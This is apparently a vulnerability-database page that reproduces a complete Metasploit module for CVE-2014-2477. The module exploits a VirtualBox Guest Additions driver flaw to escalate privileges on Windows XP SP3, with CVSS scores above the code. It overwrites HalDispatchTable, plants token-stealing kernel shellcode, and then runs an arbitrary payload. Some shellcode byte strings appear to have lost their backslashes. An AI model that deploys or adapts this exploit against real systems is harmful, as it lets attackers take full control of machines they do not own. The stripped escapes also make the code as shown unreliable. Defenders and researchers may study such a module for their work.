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VirtualBox Guest Additions VBoxGuest.sys Privilege Escalation

2014-08-13 17:20
CVSS Base Score
Impact Subscore
Exploitability Subscore
3.6/10
4.9/10
3.9/10
Exploit range
Attack complexity
Authentication
Local
Low
No required
Confidentiality impact
Integrity impact
Availability impact
None
Partial
Partial

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/exploit/local/windows_kernel'
require 'rex'

class Metasploit3 < Msf::Exploit::Local
Rank = AverageRanking

include Msf::Exploit::Local::WindowsKernel
include Msf::Post::File
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process

def initialize(info={})
super(update_info(info, {
'Name' => 'VirtualBox Guest Additions VBoxGuest.sys Privilege Escalation',
'Description' => %q{
A vulnerability within the VBoxGuest driver allows an attacker to inject memory they
control into an arbitrary location they define. This can be used by an attacker to
overwrite HalDispatchTable+0x4 and execute arbitrary code by subsequently calling
NtQueryIntervalProfile on Windows XP SP3 systems. This has been tested with VBoxGuest
Additions up to 4.3.10r93012.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Matt Bergin <level[at]korelogic.com>', # Vulnerability discovery and PoC
'Jay Smith <jsmith[at]korelogic.com>' # MSF module
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
['Windows XP SP3',
{
'HaliQuerySystemInfo' => 0x16bba,
'_KPROCESS' => "x44",
'_TOKEN' => "xc8",
'_UPID' => "x84",
'_APLINKS' => "x88"
}
]
],
'References' =>
[
['CVE', '2014-2477'],
['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-001.txt']
],
'DisclosureDate'=> 'Jul 15 2014',
'DefaultTarget' => 0
}))

end

def fill_memory(proc, address, length, content)

session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length
].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")

if not proc.memory.writable?(address)
vprint_error("Failed to allocate memory")
return nil
else
vprint_good("#{address} is now writable")
end

result = proc.memory.write(address, content)

if result.nil?
vprint_error("Failed to write contents to memory")
return nil
else
vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
end

return address
end

def check
if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/
return Exploit::CheckCode::Safe
end

handle = open_device('\\.\vboxguest', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
if handle.nil?
return Exploit::CheckCode::Safe
end
session.railgun.kernel32.CloseHandle(handle)

os = sysinfo["OS"]
unless (os =~ /windows xp.*service pack 3/i)
return Exploit::CheckCode::Safe
end

file_path = expand_path("%windir%") << "\system32\drivers\vboxguest.sys"
unless file?(file_path)
return Exploit::CheckCode::Unknown
end

major, minor, build, revision, branch = file_version(file_path)
vprint_status("vboxguest.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")

unless (major == 4)
return Exploit::CheckCode::Safe
end

case minor
when 0
return Exploit::CheckCode::Vulnerable if build < 26
when 1
return Exploit::CheckCode::Vulnerable if build < 34
when 2
return Exploit::CheckCode::Vulnerable if build < 26
when 3
return Exploit::CheckCode::Vulnerable if build < 12
end

return Exploit::CheckCode::Safe
end

def exploit
if is_system?
fail_with(Exploit::Failure::None, 'Session is already elevated')
end

if sysinfo["Architecture"] =~ /wow64/i
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
elsif sysinfo["Architecture"] =~ /x64/
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
end

unless check == Exploit::CheckCode::Vulnerable
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system")
end

handle = open_device('\\.\vboxguest', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
if handle.nil?
fail_with(Failure::NoTarget, "Unable to open \\.\vboxguest device")
end

print_status("Disclosing the HalDispatchTable address...")
hal_dispatch_table = find_haldispatchtable
if hal_dispatch_table.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Filed to disclose HalDispatchTable")
else
print_good("Address successfully disclosed.")
end

print_status('Getting the hal.dll base address...')
hal_info = find_sys_base('hal.dll')
fail_with(Failure::Unknown, 'Failed to disclose hal.dll base address') if hal_info.nil?

hal_base = hal_info[0]
print_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16).rjust(8, '0')}")
hali_query_system_information = hal_base + target['HaliQuerySystemInfo']

print_status("Storing the shellcode in memory...")
this_proc = session.sys.process.open

restore_ptrs = "x31xc0" # xor eax, eax
restore_ptrs << "xb8" + [hali_query_system_information].pack('V') # mov eax, offset
hal!HaliQuerySystemInformation
restore_ptrs << "xa3" + [hal_dispatch_table + 4].pack('V') # mov dword ptr
[nt!HalDispatchTable+0x4], eax

kernel_shell = token_stealing_shellcode(target)
kernel_shell_address = 0x1

buf = "x90" * 0x6000
buf[0, 56] = "x50x00x00x00" * 14
buf[0x5000, kernel_shell.length] = restore_ptrs + kernel_shell

result = fill_memory(this_proc, kernel_shell_address, buf.length, buf)
if result.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory")
else
print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
end

print_status("Triggering the vulnerability, corrupting the HalDispatchTable...")
session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x22a040, 0x1, 140, hal_dispatch_table + 0x4 -
40, 0)
session.railgun.kernel32.CloseHandle(handle)

print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...")
session.railgun.ntdll.NtQueryIntervalProfile(2, 4)

print_status("Checking privileges after exploitation...")

unless is_system?
fail_with(Failure::Unknown, "The exploitation wasn't successful")
else
print_good("Exploitation successful!")
end

p = payload.encoded
print_status("Injecting #{p.length.to_s} bytes to memory and executing it...")
if execute_shellcode(p)
print_good("Enjoy")
else
fail_with(Failure::Unknown, "Error while executing the payload")
end

end

end

References:

https://www.korelogic.com/Resources/Advisories/KL-001-2014-001.txt


Source: 0600804102-BLW/eussi/moc.ytirucesxc

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